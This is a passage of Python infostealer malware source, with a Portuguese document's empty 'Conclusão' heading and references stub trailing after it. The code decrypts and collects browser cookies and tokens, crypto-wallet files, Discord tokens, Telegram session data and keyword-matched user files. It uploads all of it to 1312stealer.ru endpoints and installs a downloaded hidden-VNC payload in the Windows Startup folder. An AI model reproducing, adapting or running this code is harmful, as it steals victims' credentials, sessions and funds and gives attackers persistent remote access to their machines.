            cookies_file = os.path.join(browser["path"], subpath["path"], "Network", "Cookies")  
  
            temp_db = os.path.join(browser["path"], subpath["path"], "Network", f"{browser['name']}-ck.db")  
  
            shutil.copy(cookies_file, temp_db)  
  
            connection = sqlite3.connect(temp_db)  
  
            cursor = connection.cursor()  
  
            cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")  
  
            cookie_str = ""  
  
            for row in cursor.fetchall():  
                host = row[0]  
  
                name = row[1]  
  
                value = decrypt_data(row[2], decryption_key)  
  
                cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"  
  
            COOKIES.append({"browser": browser["name"], "profile": subpath["name"],  
                            "cookies": base64.b64encode(cookie_str.encode()).decode()})  
  
            cursor.close()  
  
            connection.close()  
  
            os.remove(temp_db)  
  
        except:  
  
            pass  
  
        try:  
            web_data_file = os.path.join(browser["path"], subpath["path"], "Web Data")  
  
            temp_db = os.path.join(browser["path"], subpath["path"], f"{browser['name']}-webdata.db")  
  
            shutil.copy(web_data_file, temp_db)  
  
            connection = sqlite3.connect(temp_db)  
  
            cursor = connection.cursor()  
  
            cursor.execute("SELECT service, encrypted_token FROM token_service")  
  
            for row in cursor.fetchall():  
                web_service = row[0]  
  
                web_token = decrypt_data(row[1], decryption_key)  
  
                WEB_DATA.append({"browser": browser["name"], "profile": subpath["name"], "service": web_service,  
                                 "token": web_token})  
  
            cursor.close()  
  
            connection.close()  
  
            os.remove(temp_db)  
        except:  
            pass  
  
        for extension in BROWSER_EXTENSIONS:  
  
            extension_path = os.path.join(browser["path"], subpath["path"]) + extension["path"]  
  
            if os.path.exists(extension_path):  
  
                try:  
  
                    zip_to_storage(f"{browser['name']}-{subpath['name']}-{extension['name']}", extension_path,  
                                   STORAGE_PATH)  
  
                except:  
  
                    pass  
  
firefox_path = os.path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles')  
  
if os.path.exists(firefox_path):  
  
    taskkill("firefox.exe")  
  
    for profile in os.listdir(firefox_path):  
  
        try:  
  
            if profile.endswith('.default') or profile.endswith('.default-release'):  
  
                profile_path = os.path.join(firefox_path, profile)  
  
                if os.path.exists(os.path.join(profile_path, "cookies.sqlite")):  
  
                    shutil.copy(os.path.join(profile_path, "cookies.sqlite"),  
                                os.path.join(profile_path, "cookies-copy.sqlite"))  
  
                    connection = sqlite3.connect(os.path.join(profile_path, "cookies-copy.sqlite"))  
  
                    cursor = connection.cursor()  
  
                    cursor.execute("SELECT host, name, value FROM moz_cookies")  
  
                    cookie_str = ""  
  
                    for row in cursor.fetchall():  
                        host, name, value = row  
  
                        cookie_str += f"{host}\tTRUE\t/\tFALSE\t13355861278849698\t{name}\t{value}\n"  
  
                    COOKIES.append({"browser": "Firefox", "profile": profile,  
                                    "cookies": base64.b64encode(cookie_str.encode()).decode()})  
  
                    cursor.close()  
  
                    connection.close()  
  
                    os.remove(os.path.join(profile_path, "cookies-copy.sqlite"))  
  
        except:  
  
            continue  
  
for wallet_file in WALLET_PATHS:  
  
    if os.path.exists(wallet_file["path"]):  
  
        try:  
  
            zip_to_storage(wallet_file["name"], wallet_file["path"], STORAGE_PATH)  
  
        except:  
  
            pass  
  
for discord_path in DISCORD_PATHS:  
  
    if not os.path.exists(discord_path["path"]): continue  
  
    try:  
  
        name_without_spaces = discord_path["name"].replace(" ", "")  
  
        if "cord" in discord_path["path"]:  
  
            if not os.path.exists(APPDATA + f"\\{name_without_spaces}\\Local State"): continue  
  
            try:  
  
                with open(APPDATA + f"\\{name_without_spaces}\\Local State", "r", encoding="utf-8") as f:  
  
                    local_state = json.loads(f.read())  
  
                key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]  
  
                decryption_key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]  
  
                for file_name in os.listdir(discord_path["path"]):  
  
                    if file_name[-3:] not in ["ldb", "log"]: continue  
  
                    for line in [x.strip() for x in  
                                 open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if  
                                 x.strip()]:  
  
                        for y in re.findall(r"dQw4w9WgXcQ:[^\"]*", line):  
  
                            token = decrypt_data(base64.b64decode(y.split('dQw4w9WgXcQ:')[1]), decryption_key)  
  
                            token_data = validate_discord_token(token)  
  
                            if token_data:  
  
                                if token_data["id"] not in DISCORD_IDS:  
                                    DISCORD_IDS.append(token_data["id"])  
  
                                    username = token_data["username"] if token_data[  
                                                                             "discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"  
  
                                    phone_number = token_data["phone"] if token_data["phone"] else "Not linked"  
  
                                    DISCORD_TOKENS.append(  
  
                                        {"token": token, "user_id": token_data["id"], "username": username,  
  
                                         "display_name": token_data["global_name"], "email": token_data["email"],  
  
                                         "phone": phone_number})  
  
            except:  
  
                pass  
  
        else:  
  
            for file_name in os.listdir(discord_path["path"]):  
  
                if file_name[-3:] not in ["ldb", "log"]: continue  
  
                for line in [x.strip() for x in  
                             open(f'{discord_path["path"]}\\{file_name}', errors='ignore').readlines() if x.strip()]:  
  
                    for token in re.findall(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", line):  
  
                        token_data = validate_discord_token(token)  
  
                        if token_data:  
  
                            if token_data["id"] not in DISCORD_IDS:  
                                DISCORD_IDS.append(token_data["id"])  
  
                                username = token_data["username"] if token_data[  
                                                                         "discriminator"] == "0" else f"{token_data['username']}#{token_data['discriminator']}"  
  
                                phone_number = token_data["phone"] if token_data["phone"] else "Not linked"  
  
                                DISCORD_TOKENS.append(  
  
                                    {"token": token, "user_id": token_data["id"], "username": username,  
  
                                     "display_name": token_data["global_name"], "email": token_data["email"],  
  
                                     "phone": phone_number})  
  
    except:  
  
        pass  
  
password_headers = {"userid": userid, "Content-Type": "application/json"}  
  
password_json_data = json.dumps(PASSWORDS)  
  
requests.post("https://1312stealer.ru/pw", data=password_json_data, headers=password_headers)  
  
for cookie in COOKIES:  
    with open(STORAGE_PATH + f"\\Cookies-{cookie['browser']}-{cookie['profile']}.txt", "w") as f:  
        f.write(base64.b64decode(cookie["cookies"]).decode())  
  
web_data_headers = {"userid": userid, "Content-Type": "application/json"}  
  
web_data_json = json.dumps(WEB_DATA)  
  
requests.post("https://1312stealer.ru/webdata", data=web_data_json, headers=web_data_headers)  
  
for discord_token in DISCORD_TOKENS:  
    with open(STORAGE_PATH + "\\discord-tokens.txt", "w") as f:  
        f.write(  
  
            f"\n{'-' * 50}\n".join([  
  
                f"ID: {discord_token['user_id']}\n"  
  
                f"USERNAME: {discord_token['username']}\n"  
  
                f"DISPLAY NAME: {discord_token['display_name']}\n"  
  
                f"EMAIL: {discord_token['email']}\n"  
  
                f"PHONE: {discord_token['phone']}\n"  
  
                f"TOKEN: {discord_token['token']}"  
  
                for discord_token in DISCORD_TOKENS  
  
            ])  
  
        )  
for file_to_upload in os.listdir(STORAGE_PATH):  
  
    try:  
  
        upload_to_server(STORAGE_PATH + "\\" + file_to_upload)  
  
    except:  
  
        pass  
  
for path in PATHS_TO_SEARCH:  
  
    for root, _, files in os.walk(path):  
  
        for file_name in files:  
  
            for keyword in FILE_KEYWORDS:  
  
                if keyword in file_name.lower():  
  
                    for extension in ALLOWED_EXTENSIONS:  
  
                        if file_name.endswith(extension):  
  
                            try:  
  
                                upload_to_server(os.path.join(root, file_name))  
  
                            except:  
  
                                pass  
  
  
def kill_process(process_name):  
    # Uses os.system to call taskkill, Windows-specific command  
    result = os.system(f"taskkill /F /IM {process_name}")  
    if result == 0:  
        print(f"Process {process_name} has been killed successfully.")  
    else:  
        print(f"Failed to kill process {process_name}.")  
  
  
def copy_directory(src, dst):  
    if not os.path.exists(dst):  
        os.makedirs(dst)  
    for item in os.listdir(src):  
        src_path = os.path.join(src, item)  
        dst_path = os.path.join(dst, item)  
        if os.path.isdir(src_path):  
            copy_directory(src_path, dst_path)  
        else:  
            with open(src_path, 'rb') as f_read, open(dst_path, 'wb') as f_write:  
                f_write.write(f_read.read())  
  
  
def remove_directory(dir_path):  
    for item in os.listdir(dir_path):  
        path = os.path.join(dir_path, item)  
        if os.path.isdir(path):  
            remove_directory(path)  
        else:  
            os.remove(path)  
    os.rmdir(dir_path)  
  
  
def telegram():  
    kill_process("Telegram.exe")  
  
    source_path = os.path.join(user, "AppData\\Roaming\\Telegram Desktop\\tdata")  
    temp_path = os.path.join(user, "AppData\\Local\\Temp\\tdata_session")  
    zip_path = os.path.join(user, "AppData\\Local\\Temp", "tdata_session.zip")  
  
    if os.path.exists(source_path):  
        if os.path.exists(temp_path):  
            remove_directory(temp_path)  
        copy_directory(source_path, temp_path)  
  
        with ZipFile(zip_path, 'w') as zipf:  
            for root, dirs, files in os.walk(temp_path):  
                for file in files:  
                    file_path = os.path.join(root, file)  
                    zipf.write(file_path, os.path.relpath(file_path, os.path.join(temp_path, '..')))  
  
        with open(zip_path, 'rb') as f:  
            files = {'file': ('tdata_session.zip', f)}  
            response = requests.post("https://1312stealer.ru/delivery", files=files)  
  
        os.remove(zip_path)  
        remove_directory(temp_path)  
  
  
for i in range(10):  
  
    try:  
  
        telegram()  
  
        break  
  
    except:  
        pass  
  
try:  
  
    URL = "https://1312stealer.ru/hvnc"  
  
    r = requests.get(URL)  
  
    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:  
  
        f.write(r.content)  
  
except:  
    pass  
  
try:  
  
    os.remove(STORAGE_PATH)  
  
except:  
    pass

7. Conclusão

Em construcao

Referências